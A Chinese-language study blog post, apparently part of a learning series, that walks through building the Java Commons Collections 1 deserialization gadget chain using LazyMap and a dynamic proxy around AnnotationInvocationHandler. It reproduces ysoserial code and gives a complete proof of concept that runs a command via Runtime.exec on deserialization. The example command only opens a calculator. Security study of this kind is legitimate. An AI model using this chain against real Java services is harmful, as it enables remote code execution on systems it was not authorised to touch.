day5—反序列化(lazyMap)

lazyMap

我们接着跟随P牛学习反序列化。前面P牛给我们介绍了利用TransformedMap去构造CommonCollections1的利用链,但当我们看到ysoserial中时,会发现它并不是利用TransformedMap去构造的,二十利用到了另一个类lazyMap,那我们今天就去学习如何利用lazyMap去构造一个正经的CommonCollections1利用链

1
2
3
4
5
6
7
8
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] { (Transformer)new ConstantTransformer(Integer.valueOf(1)) });
Transformer[] transformers = { (Transformer)new ConstantTransformer(Runtime.class), (Transformer)new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), (Transformer)new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), (Transformer)new InvokerTransformer("exec", new Class[] { String.class }, (Object[])execArgs), (Transformer)new ConstantTransformer(Integer.valueOf(1)) };
Map<Object, Object> innerMap = new HashMap<Object, Object>();
Map lazyMap = LazyMap.decorate(innerMap, (Transformer)chainedTransformer);
Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers);
return handler;

通过源码我们可以看出,前面都和我们之前构造一样,只是这里是用的是Map lazyMap = LazyMap.decorate(innerMap, (Transformer)chainedTransformer);。而之前我们使用的是Map outerMap = TransformedMap.decorate(innerMap,null, transformerChain );,我们对比一下两者有什么区别

那我们都知道,我们使用TransformedMap的主要目的是去触发transform(),前面TransformedMap是在往Map中添加元素时触发的,但是lazyMap是在get方法中触发的

image-20211116145948875

我们注意到,这里并不是直接使用get()方法就可以触发,而是处理当我们去获取一个不存在的键时会触发该方法,所以我们的思路比较明确,我们只需要去获取一个不存在的Map即可

1
2
3
4
5
6
7
8
9
10
11
12
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value","test");
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
lazyMap.get("test");

使用TransformedMap时,我们可以通过sun.reflect.annotation.AnnotationInvocationHandlerreadObject去调用put方法,那么我们使用lazyMap时该如何去调用get()方法呢?

这里我们还是使用sun.reflect.annotation.AnnotationInvocationHandler,但不是使用他的readObject,我们注意到,在它的invoke方法中使用到了get()方法

image-20211116151318371

但是,我们这里是反序列化,不能直接使用方法去调用,我们要使用其他途径来调用这个方法

Java对象代理

按照P牛和ysoserial的方法,是使用到了对象代理

主要分为静态代理和动态代理,而我们这里是用到的是动态代理

与静态代理类对照的是动态代理类,动态代理类的字节码在程序运行时由 Java 反射机制动态生成,无需程序员手工编写它的源代码。动态代理类不仅简化了编程工作,而且提高了软件系统的可扩展性,因为 Java 反射机制可以生成任意类型的动态代理类。java.lang.reflect 包中的 Proxy 类和InvocationHandler 接口提供了生成动态代理类的能力

我们可以注意到AnnotationInvocationHandler刚好是实现了InvocationHandler,并且当我们去使用动态代理时会调用其中的invoke方法,我们跟随P牛来看个简单的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package Main;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class Demo_dl implements InvocationHandler {
protected Map map;

public Demo_dl(Map map){
this.map = map;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().compareTo("get") == 0){
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}

我们实现了一个InvocationHandler并尝试通过代理的方式去调用

1
2
3
4
5
6
Map test = new HashMap();
InvocationHandler invocationHandler = new Demo_dl(test);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
proxyMap.put("test", "world");
String result = (String) proxyMap.get("test");
System.out.println(result);

我们正常使用get方法获取的是对应键的值,那么这里我们做了个动态代理,新增了一个方法,当我们调用get方法时会返回Hacked Object

image-20211117143118115

实现的方法主要是下面两行代码,其中第二行代码是实现动态代理,一共传入三个参数

  • loader:一个classloader对象,定义了由哪个classloader对象对生成的代理类进行加载
  • interfaces:一个interface对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,如果我们提供了这样一个接口对象数组,那么也就是声明了代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。
  • h:一个InvocationHandler对象,表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由其调用。
1
2
InvocationHandler invocationHandler = new Demo_dl(test);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

那么接下来我们就需要去实现我们的poc了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class,lazyMap);
Map test = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
handler = (InvocationHandler)constructor.newInstance(Retention.class,test);
FileOutputStream baos = new FileOutputStream("Object");
ObjectOutputStream oi = new ObjectOutputStream(baos);
oi.writeObject(handler);
oi.close();
FileInputStream obj = new FileInputStream("Object");
ObjectInputStream obtest = new ObjectInputStream(obj);
obtest.readObject();
obtest.close();

在我们实现代理之后,又实现了一遍handler,这是因为最终我们实现反序列化的类是AnnotationInvocationHandler,如果我们没有实现这一步,你会发现我们实际只完成到了压缩lazyMap这一步,并没有将动态代理压缩到反序列化中